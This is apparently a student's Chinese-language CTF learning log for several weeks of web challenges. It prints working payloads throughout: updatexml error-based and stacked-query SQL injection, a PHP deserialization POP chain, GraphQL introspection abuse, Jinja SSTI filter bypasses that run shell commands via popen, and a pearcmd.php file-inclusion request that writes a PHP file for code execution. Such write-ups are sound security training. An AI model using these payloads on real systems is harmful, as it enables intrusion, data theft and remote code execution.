week2:
1.报错注入,很简单,也没有任何过滤
playload:
1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -
1' union select updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='wfy ),0x5e),1) -- -
1' union select updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='wfy' and TABLE_NAME='wfy_admin' ),0x5e),1) -- -
reverse一下倒着取
1'||updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#
得到
最后将回显逆转
收获无
2.文件包含
先进行一个代码审计
mt_rand()值为
1219893521,伪随机,给了值,爆破出种子就行
if语句
md5($_POST['guess']) === md5(mt_rand())post guess
playload:
收获base被禁用rot13
3.UnserializeOne
反序列化,这类题我觉得是我比较薄弱的地方,好好研究研究:
poc链我们这样分析,尾链是Sec-> invoke,倒推
__invoke() //当脚本尝试将对象调用为函数时触发
clone() //当把一个对象赋给另一个对象时自动调用
则Easy->call 能调用 eeee->clone eeee->clone的isset函数,则调用 star->isset
而this->func()是将对象当成函数调用触发_invoke()
destruct 中的echo 调用 toString中的check不存在方法触发easy->call
故:Start->__destruct 触发 Sec->__toString 触发 Easy->__call,easy->call中有clone语句,自动
触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke定义
详细解析覆盖变量:
Start->__destruct 触发 Sec->__toString :
$start->name =$sec;
Sec->__toString 触发 Easy->__call:
$Sec->obj = $ Easy;
Easy->__call触发eeee->__clone ,
eeee->__clone触发Start->__isset:
$eeee->obj=$Start;
最后$Start->isset中
($this->func)();
触发invoke完成构造
$Start->func=$sec;
总的playload:
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$eeee->obj = $start;
$sec->obj = $easy;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;
echo serialize($start);
?>
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}
打好基础,收获蛮多的,反序列化我一直有大问题,但是一直没管,一直在见识跟多类型的题,学习跟多的知识点,但是这种热门的知识点反而掌握不牢固。过一段时间可能我会去尝试专项练题。巩固自己学到的东西。
4.ezAPI
第一次接触API
意思是一个查询器
也确实是这样的,这个窗口能从他们数据库里拿数据,自然想到sql注入
过滤,找源码,很简单的源码泄露,直接www.zip就给了,其中有用段,我选取了出来
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "
Name: " . $res->data->users_user_by_pk->name;
} else {
echo "Can't found it!
DEBUG: ";
var_dump($res->data);
}
} else {
die("Hacker! Only Number!");
}
} else {
die("No Data?");
}
?>
过滤了字符,sql注入不了
file_get_contents函数,他是从graphql中拿数据,8080端口,意思是8080端口是可以种病毒的,我读不懂他这句话的意思,他可能是从graphql中拿数据,查一查
一种数据库
漏洞找到了,
内省查询语句是:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
hackbar弄不起,不知道为啥
搜出来接口了,读不来,网上找怎么查询字段,学不会,网上的查询语句都很离谱。比较生气,看wp
playload:
data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}
第三周:
第一题:ssti
?name={{1}}
很骚,{都不过滤,那真的是babyssti了
很骚,我babyssti都有问题,因为以前写笔记从来不写实例,又忘了很多,导致我一开始绕过绕的是这样的
?name={{''.[__'cla'+'ss'__].[__'ba'+'se'__]}}
卡了一会后面查了一会,发现不应该有.拼接也应该包裹全。
?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()}}
然后就是找os,用脚本找,然后得到os在117位置
{{[].__class__.__base__.__subclasses__()[117].__init__['__glo'+'bals__']['os'].popen('id').read()}}
绕过过滤
?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('id').read()}}
playload:
过滤了cat flag,tac,tail等绕过一下
{{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('tac /*').read()}}
得到flag
2.multiSQL
这道题,我不知道是网不好还是什么我库名都找不出来,一注入就断开链接,而且也没有被过滤的提示
1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -
看wp做题,updatexml被过滤,select被过滤,
updatexml被过滤,可以通过预编译来绕过, select过滤可以换成show
wp也链接错误,burp也发不过去,应该是服务器关了,那我就看一遍wp
先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句
当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤
利用预编译绕过select 就能直接拿到flag了,构建payload
1.concat()绕过关键词
当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤
利用预编译绕过select 就能直接拿到flag了,构建payload
实例:username=1';set @sql=concat('up','date score
set listen=123 where username="火华"');prepare sql_exe FROM @sql;execute sql_exe#
2.hex()绕过 @a语句:
set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#
0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b是hex(update score set listen = 100 where username = '火华';)
这里要注意这里是@sql=hex(update score set listen = 100 where username = '火华';);这里分号要注意
flag就没有了,连不上
3.rce
先看一下他的提示内容是什么,我们include本地内容
LFI
本地文件包含 Local File Include (LFI)
所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。
RFI
远程文件包含 Remote File Include (RFI)
如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
远程包含与本地包含没有区别,无非是支持远程加载,更容易getsh
没得到一点提示,然后
$_GET['file'].".php"他规定了后缀必须是php。
不会,这道题看了wp知道,他属于我的知识盲区。
Docker PHP裸文件本地包含综述 | 离别歌首先要研究这篇博客,其中提到的第6个点
大致不介绍了,核心是语句,他能实现任意包含功能到固定文件
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含=phpinfo()?>
:
看了很久wp,觉得确实很精妙,他是一个这样的操作,先把一个eval(post=-)写入一个文件,相当于是一个,然后我们在用include,进入写入的文件,再通过,post :-=system(‘’)来构造出攻击语句。
不知道哪有问题,flag出不来
4.thinkphp
ThinkPHP V5.1.41 LTS { 十年磨一剑-为API开发设计的高性能框架 }
前面做过thinkphp的题目,反序列化
他给了thinkphp版本,直接对着找漏洞
Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析 - FreeBuf网络安全行业门户
这里有一个输入框
确定是反序列化漏洞
服务器关了,
wp说这道题可以直接用网上的ep打,就是我上面那个网址
week 4:
1.rce:
$a绕过